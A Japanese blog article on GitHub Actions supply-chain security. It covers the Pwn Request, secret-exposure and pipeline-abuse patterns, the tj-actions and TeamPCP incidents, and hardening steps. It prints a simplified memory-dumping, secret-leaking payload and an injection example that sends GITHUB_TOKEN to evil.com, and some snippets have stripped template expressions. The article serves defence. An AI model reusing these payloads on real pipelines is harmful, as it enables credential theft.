この記事ではセキュリティに特化して解説します。AIセキュリティ全般は サプライチェーンセキュリティ完全ガイド2026|攻撃手法・防御ツール・実践チェックリスト をご覧ください。
- 2026年はTeamPCPによる連鎖攻撃が活発化。Trivy→LiteLLM→Telnyx→Checkmarx KICSが数週間で次々と侵害された。tj-actions→Coinbase(CVE-2025-30066/30154)と合わせ、GitHub Actionsはサプライチェーン侵害の主戦場
- 3大攻撃パターン(Pwn Request・シークレット露出・Living Off The Pipeline)に加え、カスケード型攻撃(一次侵害→PAT奪取→下流プロジェクト連鎖)が標準パターンに
- GitHub 2026セキュリティロードマップでdependencies:セクション・Scoped Secrets・Native Egress Firewall・Workflow Dependency Lockingが登場。それまではSHAピニング・クールダウン・zizmorの3点で防御を固める
GitHub Actionsのセキュリティ脆弱性が深刻化——なぜ今、対策が急務なのか
GitHub Actionsのセキュリティ脆弱性が、2025年から2026年にかけて深刻な実害を生み続けている。CI/CDパイプラインは現代のソフトウェア開発の心臓部であり、ここが侵害されれば影響はコードベース全体、そして下流のユーザーに波及する。
2025年3月、GitHub公式マーケットプレイスで2万3,000以上のリポジトリが利用していたtj-actions/changed-filesがサプライチェーン攻撃を受けた。Palo Alto Unit42の追跡調査によれば、攻撃者は2024年11月にSpotBugsメンテナのPersonal Access Token(PAT)を奪取したのを起点に、reviewdog/action-setup(CVE-2025-30154)→ tj-actions/changed-files(CVE-2025-30066)→ Coinbase/agentkitとカスケード(連鎖)型に侵害を広げた。最終標的はCoinbaseだったが、タグ書き換えの結果として2万3,000以上の全タグ参照リポジトリが巻き添えになった。
被害は「人気OSSだから安全」という思い込みを完全に破壊した。攻撃はタグの書き換えによって実行されたため、uses: tj-actions/changed-files@v39のようにタグで参照していた全リポジトリが自動的に侵害コードを実行した。
2026年に入ると、攻撃はさらに組織化・連鎖化した。Flatt Securityが2026年4月に公開した総括スライドは、TeamPCPと呼ばれる攻撃者集団による連鎖侵害を整理している。2026年2月のTrivy侵害を起点に、LiteLLM(PyPI 1.82.7/1.82.8)、Telnyx、Checkmarx KICSが数週間で次々と侵害され、各事例で暗号化C2、タイポスクワット、ステガノグラフィ、サンドボックス検知(5分sleep)など2025年より明確に高度化した手法が観測された。同時期にAxiosサプライチェーン攻撃も発生し、OpenAIのmacOSアプリのビルドパイプラインまで波及している。
GitHubもこの状況を受けて、2026年4月に新しいセキュリティロードマップを公開した。dependencies:セクションによる依存ロック、Scoped Secrets、Native Egress Firewall、Workflow Dependency Lockingなど、後述する根本的な改善策が3〜9ヶ月以内にプレビュー〜GAになる予定だ。本記事では、Flatt Security/Wiz/Palo Alto Unit42の研究と公式ドキュメントを基に、攻撃パターン・最新事例・防御策を体系的に解説する。
GitHub Actionsの3大攻撃パターン(Pwn Request・シークレット露出・Living Off The Pipeline)の仕組みと実例
危険なYAML設定 vs 安全なYAML設定の具体的な対比
SHAピニング・zizmor・GitHub新機能を使った防御策と実践チェックリスト
セキュリティリスク"] --> B["攻撃パターン"] A --> C["2026年の連鎖事例"] A --> D["防御策"] B --> B1["Pwn Request
(PPE)"] B --> B2["シークレット露出"] B --> B3["Living Off
The Pipeline"] B --> B4["カスケード
サプライチェーン"] C --> C1["TeamPCP連鎖
Trivy→LiteLLM
→Telnyx→KICS"] C --> C2["tj-actions→
Coinbase
CVE-2025-30066"] D --> D1["SHAピニング
+ クールダウン"] D --> D2["権限最小化
+ Scoped Secrets"] D --> D3["zizmor
静的解析"] D --> D4["dependencies:
+ Egress Firewall"] style A fill:#ff6b6b,color:#fff style B1 fill:#ffa07a style B2 fill:#ffa07a style B3 fill:#ffa07a style B4 fill:#ffa07a style C1 fill:#ffd700 style C2 fill:#ffd700 style D1 fill:#90ee90 style D2 fill:#90ee90 style D3 fill:#90ee90 style D4 fill:#90ee90
3大攻撃パターン——Pwn Request・シークレット露出・Living Off The Pipeline
GitHub Actionsに対する攻撃は、大きく3つのパターンに分類できる。Wiz社の研究では、これらをPwn Request(Poisoned Pipeline Execution)、シークレット露出、Living Off The Pipelineと名付けている。それぞれの仕組みと、危険なコード vs 安全なコードの対比を見ていこう。
パターン1: Pwn Request(PPE — Poisoned Pipeline Execution)
Pwn Requestは、Pull Requestを通じてCI/CDパイプラインに悪意あるコードを注入する攻撃だ。攻撃者はフォークリポジトリからPRを送り、ワークフローの設定ミスを悪用してリポジトリのシークレットにアクセスする。
核心はpull_requestとpull_request_targetの違いにある。
| トリガー | 実行コンテキスト | シークレットアクセス | 危険度 |
|---|---|---|---|
pull_request |
PRのヘッドブランチ(フォーク) | なし(フォークからの場合) | 低 |
pull_request_target |
ベースブランチ(ターゲット) | あり | 高 |
issue_comment |
デフォルトブランチ | あり | 中〜高 |
workflow_run |
デフォルトブランチ | あり | 中〜高 |
pull_request_targetは「ベースリポジトリのコンテキストで実行される」ため、シークレットにアクセスできる。ここで攻撃者のPRコードをチェックアウトしてしまうと、攻撃者のコードがシークレット付きで実行される。
以下が危険なワークフローの典型例だ。
# ❌ 危険: pull_request_target でPRコードをチェックアウトしている
name: Dangerous PR Handler
on:
pull_request_target:
types: [opened, synchronize]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: $ # ← PRのコードをチェックアウト
- run: npm install # ← 攻撃者のpackage.jsonのpostinstallが実行される
- run: npm test
env:
API_KEY: $ # ← シークレットが攻撃者のコードに露出
このワークフローでは、pull_request_targetトリガーによりシークレットが利用可能な状態で、ref: $によって攻撃者のPRコードをチェックアウトしている。攻撃者はpackage.jsonのpostinstallスクリプトにシークレットを外部に送信するコードを仕込むだけでよい。
以下が安全なワークフローだ。
# ✅ 安全: pull_request トリガーを使い、権限を最小化
name: Safe PR Handler
on:
pull_request:
types: [opened, synchronize]
permissions:
contents: read # 読み取り専用
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4 SHA固定
- run: npm ci --ignore-scripts # postinstallスクリプトを無効化
- run: npm test
# シークレットは渡さない — テストに本番キーは不要
修正ポイントは3つある。(1) pull_request_targetではなくpull_requestを使う、(2) permissions: contents: readで権限を最小化する、(3) npm ci --ignore-scriptsでpostinstallスクリプトの実行を防ぐ。
パターン2: シークレット露出
GitHub Actionsのシークレットは、意図せずCIログに出力されることがある。GitHubは自動的にシークレット値をマスクするが、Base64エンコードや文字列操作を経由するとマスクが効かなくなる。
# ❌ 危険: シークレットがBase64経由でマスクを回避
- run: |
echo "$" | base64
# 出力: QUl...(Base64エンコードされた値はマスクされない)
# ❌ 危険: シークレットを環境変数経由でログに出力
- run: |
curl -H "Authorization: Bearer $API_KEY" https://api.example.com/status
# -v オプションをつけるとヘッダがログに出る
env:
API_KEY: $
# ✅ 安全: シークレットをファイルに書き出し、ログに出力しない
- run: |
echo "$" > /tmp/api_key
curl -H "Authorization: Bearer $(cat /tmp/api_key)" \
--silent --show-error \
https://api.example.com/status
rm -f /tmp/api_key
# --silentでHTTP詳細出力を抑制
tj-actionsインシデントでは、まさにこのパターンが悪用された。改ざんされたアクションが$GITHUB_OUTPUTや$GITHUB_ENVに書き込まれたシークレットをBase64エンコードしてログに出力し、GitHub Actionsのログが公開リポジトリで誰でも閲覧可能であることを利用してシークレットを窃取した。
パターン3: Living Off The Pipeline
「Living Off The Pipeline」は、Wiz社が命名した新しい攻撃カテゴリだ。セキュリティツールの世界で知られる「Living Off The Land(環境に元からあるツールを悪用する)」のCI/CD版で、パイプラインに標準で存在するツールや権限を悪用する手法を指す。
具体的には以下のような手法がある。
GITHUB_TOKENの悪用: デフォルトで付与されるトークンの権限が過剰な場合、PRの承認、コードのプッシュ、リリースの作成が可能- Artifact poisoning(アーティファクト毒入れ):
actions/upload-artifactでアップロードされたファイルを次のジョブがそのまま信頼して使う場合、攻撃者がアーティファクトを差し替えて任意コードを実行できる - Self-hosted runner abuse(自ホストランナーの悪用): パブリックリポジトリで自ホストランナーを使うと、フォークからのPRで攻撃者がランナーのホストOSにアクセスできる
2026年のAxiosサプライチェーン攻撃では、NPMパッケージに混入したマルウェアがGitHub Actionsのワークフロー内で実行され、ビルドパイプラインのGITHUB_TOKENやNPM_TOKENを窃取してさらなる攻撃に利用した。これはLiving Off The Pipelineの典型例だ。
Pwn Request: pull_request_targetの設定ミスでPRコードにシークレットを渡してしまう
シークレット露出: Base64変換やログ出力でマスクを回避し、公開ログからシークレットを窃取
Living Off The Pipeline: GITHUB_TOKEN・アーティファクト・自ホストランナーなど、パイプラインの正規機能を悪用
2026年の連鎖攻撃——TeamPCPによるTrivy・LiteLLM・Telnyx・Checkmarx KICS事例
2026年に観測されたGitHub Actions侵害は、単発のインシデントではなく連鎖型キャンペーンとして整理する必要がある。Flatt Securityが2026年4月に公開した総括スライド「GitHub Actions侵害——相次ぐ事例を振り返り、次なる脅威に備える」は、TeamPCPと呼ばれる攻撃者集団が数週間で複数のOSS/SaaSベンダーを連鎖的に侵害した経緯をまとめている。
TeamPCP連鎖キャンペーンの全体像
TeamPCPの攻撃パターンに共通する特徴は、(1) GitHub Actionsの設定不備(pull_request_target等)でPATを奪取、(2) そのPATでパッケージレジストリ(PyPI/npm)の発行権限を取得、(3) 悪意あるバージョンを公開、(4) 利用者のCI/CDで実行されてさらなるクレデンシャルを収集——という4段階だ。一次侵害から下流の二次・三次侵害までが自動的に連鎖する点が、2025年のtj-actionsとの最大の違いである。
| 事例 | 発生日(2026年) | 入口 | 配布経路 | 主な被害 |
|---|---|---|---|---|
| Trivy(Aqua Security) | 2/28・3/19の2波 | hackerbot-claw経由のPR / Imposter Commit | タグ書き換え | PAT・SSH鍵・クラウドクレデンシャル |
| Checkmarx KICS | 3/23 | Trivy侵害から派生 | 共有C2インフラ | Trivyと同様 |
| LiteLLM | 3/24 | Trivy由来のPyPIトークン | PyPI 1.82.7/1.82.8 | systemd持続化試行 |
| Telnyx | 3/27 | 侵害クレデンシャル経由 | npm/PyPI | WAVステガノグラフィ+MSBuild悪用 |
Trivyの2回目の侵害(3/19)では「Imposter Commit」と呼ばれる手法が使われた。攻撃者がフォーク先で作成した悪意あるコミットを、本家リポジトリのタグ参照を通じて間接的に呼び出す手口だ。SHAピニングしていても、参照先のSHAが攻撃者由来であれば防御にならないという重要な教訓を残した。
LiteLLMでは、AES-256-CBC + RSA-4096で暗号化されたインフォスティーラーが投入され、SSH鍵・クラウドクレデンシャル・Kubernetes設定・暗号資産ウォレットを標的にした。C2はタイポスクワット(scan[.]aquasecurtiy[.]org、models[.]litellm[.]cloud)で正規ドメインに偽装し、サンドボックス検知のため5分のsleepで動的解析を回避するなど、2025年比で明確に成熟している。
攻撃チェーン: tj-actions → Coinbase(CVE-2025-30066 / CVE-2025-30154)
2025年3月のtj-actions侵害は、Palo Alto Unit42の調査で「Coinbase狙い撃ち」だったことが2026年に確定した。攻撃チェーンの全体像は以下のとおりだ。
SpotBugsメンテナが
PATをワークフローに追加"] --> B["2024-12-06
pull_request_target
悪用でPAT流出"] B --> C["2025-03
reviewdog
action-setup侵害
CVE-2025-30154"] C --> D["tj-actions/changed-files
のCIから
書込トークン奪取"] D --> E["2025-03-14
Coinbase agentkit
標的の暗号化ペイロード
注入"] E --> F["全タグ書換で
23,000+リポジトリに
波及 CVE-2025-30066"] style A fill:#ffd700 style B fill:#ff8c00 style C fill:#ff6b6b,color:#fff style D fill:#ff6b6b,color:#fff style E fill:#dc143c,color:#fff style F fill:#8b0000,color:#fff
着目すべきは、Coinbaseがtj-actions/changed-files@v39をワークフローに追加したのが2025年3月7日、攻撃者がCoinbase用ペイロードを注入したのが3月12〜13日、トリガーされたのが3月14日というわずか1週間のスピードだ。攻撃者は標的のワークフロー追加を監視し、機を見計らってペイロードを差し込んでいる。
# 攻撃者が tj-actions/changed-files に注入したコード(簡略化)
- run: |
# Runnerプロセスのメモリをダンプし、シークレットを抽出
sudo cat /proc/$(pgrep Runner.Worker)/maps | grep -o '/[^ ]*' \
| xargs -I{} sudo cat {} 2>/dev/null \
| grep -aoE '"[A-Za-z0-9_]+":\s*"[^"]+"' \
| base64 -w0 \
| echo "::warning::$(cat)"
# ::warning:: で出力したペイロードはGitHubのシークレットマスクを回避し
# 公開リポジトリのワークフローログから誰でも閲覧できる
この攻撃が突きつけた現実は明確だ。「タグで参照されるサードパーティアクションは、すべて任意コード実行の権限を持つ」。利用者は内容を確認せず、メンテナのアカウントが侵害された瞬間に巻き添えになる。
連鎖攻撃時代の比較表
2025年と2026年の攻撃パターンの違いを整理する。
| 観点 | 2025年(tj-actions単発) | 2026年(TeamPCP連鎖) |
|---|---|---|
| 攻撃の構造 | 単一ベンダーの侵害カスケード | 複数ベンダーの計画的横展開 |
| 標的選定 | 結果的に23,000リポジトリ | 条件付きペイロードで特定組織を狙撃 |
| C2インフラ | 平文・GitHub Gist経由 | 暗号化通信+タイポスクワットドメイン |
| 回避手法 | 限定的 | 5分sleep・ステガノグラフィ・サンドボックス検知 |
| 検知までの時間 | コミュニティ検知が比較的早かった | 暗号化により発覚遅延 |
| 二次・三次被害 | 限定的 | PAT奪取→PyPI/npm経由で連鎖 |
サプライチェーンセキュリティ完全ガイド2026で扱った構造的な脆弱性が、TeamPCPによって2026年に現実の被害として顕在化した形だ。
連鎖前提: 一次侵害は必ず下流に波及する。OSSメンテナのPAT 1本で複数組織が落ちる
SHA固定だけでは不十分: Imposter CommitのようにSHA経由でも悪意ある内容を引き込める
クールダウンの重要性: LiteLLM 1.82.7/1.82.8のように、リリース直後の自動採用は最大のリスク
組織レベルの防御設定——権限デフォルト・アクション許可リスト・ランナー制限
個々のワークフローの修正だけでは不十分だ。組織(Organization)レベルでポリシーを設定し、セキュリティのベースラインを底上げする必要がある。
GITHUB_TOKENのデフォルト権限を制限する
GitHub ActionsのGITHUB_TOKENは、デフォルトでread-write権限を持つ。これは必要以上に広い。組織設定でread-onlyをデフォルトにすべきだ。
設定手順は以下のとおりだ。
- Organization Settings → Actions → General を開く
- 「Workflow permissions」セクションを見つける
- 「Read repository contents and packages permissions」を選択する
- 「Allow GitHub Actions to create and approve pull requests」のチェックを外す
# ✅ ワークフローレベルでも明示的に権限を宣言する
permissions:
contents: read
pull-requests: write # PRコメントが必要な場合のみ
jobs:
lint:
runs-on: ubuntu-latest
permissions:
contents: read # ジョブレベルでさらに制限可能
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
- run: npm run lint
permissionsを明示宣言していないワークフローは、組織のデフォルト権限で動作する。デフォルトがread-writeのままだと、すべてのワークフローが不要なwrite権限を持つことになる。
サードパーティアクションの許可リストを設定する
Organization Settings → Actions → General で、実行を許可するアクションを制限できる。
| 設定 | 説明 | 推奨 |
|---|---|---|
| Allow all actions | すべてのアクションを許可 | 非推奨 |
| Allow local actions only | リポジトリ内のアクションのみ | セキュリティ最優先の場合 |
| Allow select actions | 許可リストに登録したアクションのみ | 推奨 |
「Allow select actions」を選択し、actions/*(GitHub公式)と組織内アクションのみを許可する設定が、セキュリティと利便性のバランスが最も良い。新しいサードパーティアクションを追加する場合は、セキュリティレビューを経てから許可リストに追加するフローを作る。
自ホストランナーの制限
自ホストランナーは強力だが、パブリックリポジトリでの利用は危険だ。フォークからのPRがランナーのホストOS上で実行されるため、攻撃者がネットワーク内部にアクセスできてしまう。
対策は明確だ。
- パブリックリポジトリでは自ホストランナーを使わない。GitHub-hostedランナーを使う
- プライベートリポジトリで使う場合も、ランナーをエフェメラル(使い捨て)に設定する
- ランナーグループを作成し、特定のリポジトリのみに割り当てる
- ランナーのネットワークアクセスを最小限に制限する(egress filtering)
GITHUB_TOKEN: デフォルトをread-onlyに変更。ワークフローで必要な権限のみ明示宣言
アクション許可: Allow select actionsで許可リスト制。GitHub公式 + 組織内のみ許可
自ホストランナー: パブリックリポジトリでは使わない。プライベートでもエフェメラル設定必須
サプライチェーン防御——SHAピニング・クールダウン期間・zizmor
サードパーティアクションの利用は、本質的にサプライチェーンリスクを伴う。タグは書き換え可能であり、メンテナのアカウントが侵害されれば、利用者全員が影響を受ける。ここでは、サプライチェーン攻撃に対する具体的な防御策を解説する。
SHAピニング——タグを信じるな
タグ(@v4)はポインタであり、いつでも別のコミットに向け直せる。tj-actionsインシデントでは、攻撃者がタグを悪意あるコミットに向け直すことで、タグ参照している全リポジトリを一斉に侵害した。
SHAピニングは、特定のコミットハッシュを直接参照することで、この問題を解決する。
# ❌ 危険: タグ参照(書き換え可能)
- uses: actions/checkout@v4
- uses: tj-actions/changed-files@v39
# ✅ 安全: SHAピニング(不変)
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.7
- uses: tj-actions/changed-files@2d756ea4c53f7f6b397767d8723b3a10a9f35bf2 # v39.0.3
# コメントでバージョンを併記すると保守性が上がる
SHAは40文字の16進数文字列で、コミット内容から暗号学的に導出される。コミットの内容を変えずにSHAを維持することは、SHA-1の衝突攻撃を除けば実質不可能であり、タグの書き換えによる攻撃を完全に防止できる。
Dependabotを設定すれば、SHAピニングされたアクションの新バージョンを自動でPR提案してくれる。
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
# SHAピニングされたアクションのバージョン更新PRを自動作成
クールダウン期間——新バージョンをすぐに使わない
新しくリリースされたアクションのバージョンには「クールダウン期間」を設けるべきだ。リリース直後は侵害が発覚していない可能性があるためだ。
Wiz社の推奨は以下のとおりだ。
- 新バージョンのリリースから72時間以上は待つ
- その間にコミュニティやセキュリティリサーチャーが問題を発見する時間を確保
- Dependabotの自動PRも、即マージせず数日放置するルールを作る
- アクションのリポジトリの変更履歴(Changelog)とコミット差分を確認してからマージする
zizmor——ワークフローの静的解析ツール
zizmorは、GitHub Actionsのワークフローファイルを静的解析するオープンソースツールだ。Rust製で高速に動作し、セキュリティ上の問題を自動検出する。
# インストール
pip install zizmor
# または
cargo install zizmor
# リポジトリ全体をスキャン
zizmor .github/workflows/
# 特定のワークフローをスキャン
zizmor .github/workflows/ci.yml
# JSON出力(CI/CDパイプラインとの統合用)
zizmor --format json .github/workflows/
zizmorが検出する主な問題は以下のとおりだ。
| ルール名 | 検出内容 | 重要度 |
|---|---|---|
unpinned-uses |
SHAピニングされていないアクション | 高 |
dangerous-triggers |
pull_request_target等の危険なトリガー |
高 |
excessive-permissions |
不必要に広い権限設定 | 中 |
template-injection |
$式のインジェクション脆弱性 |
高 |
artipacked |
アーティファクトの安全でない使用 | 中 |
ref-confusion |
refの曖昧な参照 | 中 |
known-vulnerable-actions |
既知の脆弱なアクションの使用 | 高 |
cache-poisoning |
キャッシュ汚染の可能性 | 中 |
# zizmorの出力例
$ zizmor .github/workflows/ci.yml
warning[unpinned-uses]: action reference is not pinned to a SHA
--> .github/workflows/ci.yml:15:9
|
15 | - uses: actions/checkout@v4
| ^^^^^^^^^^^^^^^^^^^^^^^^^ this action reference should be pinned
error[dangerous-triggers]: workflow uses dangerous trigger
--> .github/workflows/ci.yml:3:5
|
3 | pull_request_target:
| ^^^^^^^^^^^^^^^^^^^^ pull_request_target can expose secrets to PRs
2 findings (1 error, 1 warning)
zizmorをCI/CDパイプラインに組み込めば、危険なワークフロー変更がマージされる前に検出できる。
# .github/workflows/security-check.yml
name: Workflow Security Check
on:
pull_request:
paths:
- '.github/workflows/**'
permissions:
contents: read
jobs:
zizmor:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4
- run: pip install zizmor
- run: zizmor .github/workflows/
SHAピニング: タグは書き換え可能。SHAで固定すれば改ざんを防止できる
クールダウン期間: 新バージョンは72時間待ってからマージ。即採用は攻撃者の思うツボ
zizmor: ワークフローを静的解析し、危険なトリガー・未ピニング・過剰権限を自動検出
GitHub 2026セキュリティロードマップ——dependencies:・Scoped Secrets・Egress Firewall
GitHubは2026年4月、過去のインシデントを受けて新しいGitHub Actions 2026 Security Roadmapを公開した。tj-actionsとTeamPCP連鎖攻撃のような事例をプラットフォーム側で根本的に防ぐための4本柱が示されている。導入時期と内容を解説する。
1. dependencies: セクション——ワークフローレベルのDependency Locking
最も注目すべき変更が、ワークフローYAMLに新設されるdependencies:セクションだ。go.mod+go.sum、package-lock.json、requirements.txtに相当する仕組みをGitHub Actionsに導入し、直接依存と推移的依存の全てをコミットSHAとハッシュで固定する。
# 新フォーマット(プレビュー予定)
name: Build
on: [push]
dependencies:
actions:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
sha256: 8e3e8a5... # アクション本体の検証ハッシュ
- uses: actions/setup-node@1d0ff469b7ec7b3cb9d8673fde0c81c44821de2a
sha256: a1b2c3...
# 推移的依存(このアクションが内部で呼ぶ別アクション)も
# 自動展開されてここにロックされる
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout
- uses: actions/setup-node
- run: npm ci && npm test
公式が示した3つの利点は明確だ。(1) Deterministic runs——レビューしたものと同じものが実行される。(2) Reviewable updates——依存変更がPRの差分として可視化される。(3) Fail-fast verification——ハッシュ不一致でジョブ開始前に停止する。
Imposter Commit攻撃やtj-actionsスタイルのタグ書き換えは、この仕組みで根本的に検知可能になる。公式ロードマップでは3〜6ヶ月でパブリックプレビュー、6ヶ月でGAを目標としている。
2. Scoped Secrets——シークレットの実行コンテキスト束縛
これまでGitHub Actionsのシークレットは「リポジトリのwriteを持つ者は事実上シークレットも管理できる」という暗黙の連動があった。Scoped Secretsはこれを断ち切る。
| 変更前 | 変更後(Scoped Secrets) |
|---|---|
| Reusable workflowに自動継承 | 明示的にスコープしたシークレットのみ参照可 |
| Write権限がシークレット管理権限を含意 | シークレット管理は専用カスタムロール |
| シークレットはリポジトリ単位 | ブランチ・環境・ワークフローID単位で束縛 |
# プレビュー予定の構文(公式ブログ記載例より)
secrets:
- name: PROD_DEPLOY_KEY
scope:
branches: [main] # mainからのみ参照可
environments: [production] # production環境のみ
workflows: [deploy.yml] # このワークフローからのみ
identity: deployer-bot # 特定identityでの実行時のみ
jobs:
deploy:
environment: production
steps:
- uses: ./.github/actions/deploy
with:
key: $
スコープ外(フォークPRや別ブランチ、別ワークフロー)からはそもそも参照できないため、Pwn Request系の攻撃面が大幅に縮小する。3〜6ヶ月でプレビューおよびGA予定。
3. Native Egress Firewall——L7ネットワーク制御をRunner外で実装
GitHub-hostedランナー向けに、Runner VMの外側で動作するLayer 7ファイアウォールが実装される。「Runner内でroot権限を取られても無効化できない」点が決定的に重要だ。
2つのモードで運用できる。
- Monitorモード: ワークフロー実行と紐づけて全アウトバウンド通信を監査ログ化する
- Enforceモード: 明示的に許可したエンドポイント以外への通信をブロックする
LiteLLMやTrivyの侵害で観測されたC2通信(scan[.]aquasecurtiy[.]org等のタイポスクワットドメイン)は、Enforceモードであれば*.aquasec.comしか許可されないためワークフロー実行時点で遮断される。Monitorモードのみでも、後追いインシデント調査の決定的な証拠になる。6〜9ヶ月でパブリックプレビュー予定。
4. Actions Data Stream——実行テレメトリのS3/Azure配信
ワークフロー実行・依存解決・将来的にはネットワーク活動を、ニア・リアルタイムでS3またはAzureに配信する仕組み。SIEM連携やレトロスペクティブな脅威ハンティング(過去ログを新CVE発覚時に再検索)に直接使える。3〜6ヶ月でプレビュー、6〜9ヶ月でGA予定。
4機能のまとめと現実的な移行戦略
| 機能 | 効果 | 公式の予定 |
|---|---|---|
| dependencies: セクション | 直接+推移的依存をSHAロック | 3-6ヶ月でプレビュー / 6ヶ月でGA |
| Scoped Secrets | シークレットを実行コンテキストに束縛 | 3-6ヶ月でプレビュー&GA |
| Native Egress Firewall | Runner外で動作するL7制御 | 6-9ヶ月でプレビュー |
| Actions Data Stream | テレメトリのS3/Azure配信 | 3-6ヶ月プレビュー / 6-9ヶ月GA |
これらの新機能が完全に普及するまでには時間がかかる。その間は、SHAピニング + クールダウン + zizmor + 権限最小化の4点セットで防御を固めることが現実的な最善策だ。Native Egress Firewallが来るまでは、Harden-Runner(StepSecurity)等のサードパーティ製ランタイム保護で代替できる。
# Harden-Runner(StepSecurity)でegressを制限する例
- uses: step-security/harden-runner@17d0e2bd7d51742c71671bd19fa12bdc9d40a3d6 # v2.10.4
with:
egress-policy: block
allowed-endpoints: >
api.github.com:443
registry.npmjs.org:443
objects.githubusercontent.com:443
OIDC(OpenID Connect)への移行も並行して進めるべきだ。長期クレデンシャル(AWSアクセスキー、サービスアカウントキー等)をシークレットに保存する代わりに、ワークフロー実行時に短命トークンを動的に発行する。id-token: write権限と各クラウドのIdP設定を組み合わせれば、シークレット漏洩時の被害が劇的に縮小する。
# OIDCでAWS IAMロールをassumeする例(長期クレデンシャル不要)
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
with:
role-to-assume: arn:aws:iam::123456789012:role/GitHubDeployRole
aws-region: ap-northeast-1
- run: aws s3 sync ./dist s3://my-bucket/
dependencies: セクション: 直接+推移的依存をSHAロック。Imposter Commit対策の本命
Scoped Secrets: シークレットをブランチ・環境・ワークフローIDに束縛。Pwn Request対策
Native Egress Firewall: Runner外L7制御。タイポスクワットC2への通信を遮断
移行期: SHAピニング + zizmor + Harden-Runner + OIDCで現実的に防御を固める
実践チェックリスト——今日からできるGitHub Actionsセキュリティ対策
ここまでの内容を踏まえ、すぐに実行可能な対策をチェックリスト形式でまとめる。優先度順に実施することを推奨する。
優先度1: 即時対応(所要時間: 1-2時間)
- 全ワークフローの
permissionsを明示宣言する。未宣言のワークフローがないか確認し、必要最小限の権限のみ付与する - サードパーティアクションをSHAピニングに移行する。Dependabotで自動更新を設定し、コメントにバージョン番号を併記する
pull_request_targetトリガーを検索する。使用している場合、PRコードのチェックアウトと組み合わせていないか確認する- zizmorをインストールして全ワークフローをスキャンする。
pip install zizmor && zizmor .github/workflows/の1行で実行できる
# 全ワークフローのpull_request_targetを検索
grep -r "pull_request_target" .github/workflows/
# permissionsが未宣言のワークフローを検索
for f in .github/workflows/*.yml; do
grep -q "permissions:" "$f" || echo "⚠️ permissions未宣言: $f"
done
# SHAピニングされていないusesを検索
grep -rn "uses:.*@v" .github/workflows/
優先度2: 組織設定の見直し(所要時間: 30分)
- GITHUB_TOKENのデフォルト権限をread-onlyに変更する。Organization Settings → Actions → Generalで設定
- サードパーティアクションの許可リストを設定する。Allow select actionsで
actions/*と組織内アクションのみ許可 - パブリックリポジトリで自ホストランナーを使っていないか確認する。使っている場合はGitHub-hostedランナーに移行
優先度3: 継続的なセキュリティ運用(週次/月次)
- zizmorをCIパイプラインに組み込む。
.github/workflows/**の変更をトリガーに自動スキャン - Dependabotのアクション更新PRを定期的にレビューする。クールダウン期間(72時間以上)を設けてからマージ
- 新しいサードパーティアクションの導入時にセキュリティレビューを実施する。リポジトリのスター数・メンテナの信頼性・コード量を確認
- GitHub Actionsのログを定期監視する。異常なネットワーク通信やシークレットアクセスのパターンを検出
テンプレート式インジェクション対策
見落としがちだが極めて危険な攻撃として、$テンプレート式のインジェクションがある。PR titleやcommit messageにGitHub Actionsのテンプレート式を含めることで、ワークフロー内でコマンドインジェクションが成立する。
# ❌ 危険: PRタイトルが直接シェルコマンドに展開される
- run: echo "PR title: $"
# 攻撃者がPRタイトルに "; curl http://evil.com/steal?token=$GITHUB_TOKEN" を含めると
# シェルインジェクションが成立する
# ✅ 安全: 環境変数経由で渡す
- run: echo "PR title: $PR_TITLE"
env:
PR_TITLE: $
# 環境変数経由なら、PRタイトルに特殊文字が含まれてもシェルインジェクションは成立しない
$式をシェルコマンドのrun:内で直接使うのは、原則としてすべて危険だと考えるべきだ。ユーザー入力(PRタイトル、コミットメッセージ、Issue本文など)が含まれる可能性のある値は、必ず環境変数経由で渡す。
Before / After 比較表
ここまでの対策を適用したBefore/Afterを比較する。
| 観点 | Before(危険) | After(安全) |
|---|---|---|
| アクション参照 | uses: actions/checkout@v4 |
uses: actions/checkout@b4ffde65... (SHA) |
| 権限設定 | permissions 未宣言(デフォルトread-write) |
permissions: contents: read 明示宣言 |
| PRトリガー | pull_request_target + PR HEADチェックアウト |
pull_request + ベースブランチのコードのみ |
| シークレット | run:内で$を直接展開 |
env:経由で環境変数として渡す |
| テンプレート式 | run: echo "$"で直接展開 |
env: VAR: $で間接参照 |
| アクション許可 | Allow all actions | Allow select actionsで許可リスト制 |
| GITHUB_TOKEN | デフォルトread-write | デフォルトread-only |
| 静的解析 | なし | zizmorでPR時に自動スキャン |
| 更新管理 | 手動更新 or 即時マージ | Dependabot + 72時間クールダウン |
Claude Codeのベストプラクティス完全ガイドで紹介したGitフック活用と組み合わせれば、ローカル開発からCI/CDまで一貫したセキュリティ体制を構築できる。
即時対応: permissions宣言・SHAピニング・pull_request_target確認・zizmorスキャンの4点
組織設定: GITHUB_TOKENデフォルトread-only・アクション許可リスト・自ホストランナー制限
継続運用: CIにzizmor組込・Dependabot + クールダウン・テンプレート式インジェクション防止
関連記事: サプライチェーンセキュリティ完全ガイド2026|攻撃手法・防御ツール・実践チェックリスト
まとめ——CI/CDパイプラインは「信頼の境界」、連鎖を前提に設計する
GitHub Actionsは現代のソフトウェア開発に不可欠なインフラであり、だからこそ攻撃者にとって最も価値の高いターゲットだ。2025年のtj-actions→Coinbase攻撃チェーン(CVE-2025-30066/30154)、2026年のTeamPCPによるTrivy・LiteLLM・Telnyx・Checkmarx KICSの連鎖侵害、Axiosサプライチェーン攻撃——これらの事例は「人気アクションだから安全」「公式マーケットプレイスだから信頼できる」という前提が完全に崩壊したことを証明した。
Flatt SecurityとWiz、Palo Alto Unit42の研究が示す結論は明確だ。CI/CDパイプラインを「信頼の境界(Trust Boundary)」として扱い、一次侵害から下流への連鎖を前提にゼロトラスト設計する必要がある。
